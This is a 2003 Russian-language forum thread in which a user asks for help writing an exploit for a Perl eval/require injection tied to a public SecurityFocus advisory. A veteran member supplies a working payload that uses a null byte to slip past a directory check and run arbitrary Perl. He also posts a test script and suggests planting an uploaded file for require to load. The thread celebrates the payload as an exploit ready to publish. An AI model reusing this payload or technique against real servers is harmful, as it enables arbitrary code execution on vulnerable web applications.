Легенда:
новое сообщение
закрытая нитка
новое сообщение
в закрытой нитке
старое сообщение
|
- Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
- Новичкам также крайне полезно ознакомиться с данным документом.
Знатоки перла Help!!! - Perl injection. 02.05.03 22:32
Автор: fuckyoudude Статус: Незарегистрированный пользователь Отредактировано 02.05.03 22:33 Количество правок: 2
|
есть скрипт на перле, что-то вроде:
$some_file = 'filename';
$mydir =~ s/^([\d\w]+)$/$1/; #<= провекра №1 , имхо оно ничего не проверяет)
unless (-d "$mydir") { $mydir = 'en';} #<= провекра №2
$code = 'require '. "\"$mydir/" .$some_file. '.pm"; ';
eval $code;
Проблема в следующем, нужно так сформировать $mydir, чтобы обойти проверки 1 и 2 (помоему только 2), и втиснуть system(); в переменную $code, ну и потом собсно еval ее :)
обойти проверки на наличии директории я смог обойти с помощью вставки точки и нулевого символа (%2e%00), но не могу правильно вставить выражение в $code.
Жду Ваших предложений.
|
|
Заработало!!! 06.05.03 18:10
Автор: NKritsky <Nickolay A. Kritsky> Статус: Elderman
|
вот что у меня заработало:
.%00" if (1==0) ; print "bbb\n";#
печатает bbb
Проверял на таком скрипте:
;---------------Begin clipboard---------------------------------------------
#!perl -n
$some_file = 'filename';
$mydir=$_ ;
$mydir =~ s/^([\d\w]+)$/$1/; #<= провекра №1 , имхо оно ничего не проверяет)
unless (-d "$mydir") { $mydir = 'en';} #<= провекра №2
$code = 'require '. "\"$mydir/" .$some_file. '.pm"; ';
eval $code;
print $@ ; #это для дебага :)
;---------------End clipboard---------------------------------------------
версия перла: v5.6.0 built for MSWin32-x86-multi-thread
|
| |
Круто :) спасибо!!! можно посылать эксплоит на www.securityfocus.com :-) 06.05.03 21:09
Автор: fuckyoudude Статус: Незарегистрированный пользователь
|
|
|
Знатоки перла Help!!! - Perl injection. 04.05.03 12:22
Автор: NKritsky <Nickolay A. Kritsky> Статус: Elderman
|
> Жду Ваших предложений. >
я попробовал такую штуку:
.%00;print aaa;
Не проходит - как только он не находит то что хочет require - он тут же прекращает eval.
|
| |
А что если? 04.05.03 12:27
Автор: NKritsky <Nickolay A. Kritsky> Статус: Elderman
|
просто закачать свой скрипт на сервак и прямо в require его подсунуть.
|
| | |
А что если? 04.05.03 22:36
Автор: fuckyoudude Статус: Незарегистрированный пользователь Отредактировано 04.05.03 22:43 Количество правок: 2
|
> просто закачать свой скрипт на сервак и прямо в require его > подсунуть. а тест на наличие директории?
unless (-d "$mydir") { $mydir = 'en';} #<= провекра №2
дело в том, что я знаю расположение скрипта, который подключается,
т.е. получается вроде того , что мы вводим имя директории, а скрипт уже сам из нее нужный ему файл подключает,вся проблема как раз в проверке на наличие директории, мы ее обходим, и у нас не работает require, а сл. и код далее в eval
unless (-d "$mydir") { $mydir = 'en';} #<= провекра №2
$code = 'require '. "\"$mydir/" .$some_file. '.pm"; ';
eval $code;
Надо сделать что бы и проверка прошла и require нашел свой файл .
Вроде как это возможно :)
PS> если это поможет,
я пытаюсь написать эксплоит для этого
http://www.securityfocus.com/bid/7361
|
| | | |
А что если? 05.05.03 16:53
Автор: NKritsky <Nickolay A. Kritsky> Статус: Elderman
|
> > просто закачать свой скрипт на сервак и прямо в > require его > > подсунуть. > а тест на наличие директории? > unless (-d "$mydir") { $mydir = 'en';} #<= провекра №2
Поясняю что я имел в виду:
если у тебя есть возможность создать файл на данном серваке, с заданным именем, например /tmp/111/filename
то ты можешь передать '/tmp/111' в качестве $mydir и он просто инклюднет твой файл, выполняя все комманды в нем прописанные. Но для этого надо иметь права создавать такие файлы.
> Надо сделать что бы и проверка прошла и require нашел свой > файл . > Вроде как это возможно :)
Пока я не вижу такой возможности. Проверку -d можно обойти при помощи %00, но это обрубит работу require т.к. там вызывается creat() который тоже обрубается на нульбайте.
> PS> если это поможет, > я пытаюсь написать эксплоит для этого > http://www.securityfocus.com/bid/7361
ща, посмотрим :) пиши если что на мой_ник@mail.ru
|
|
|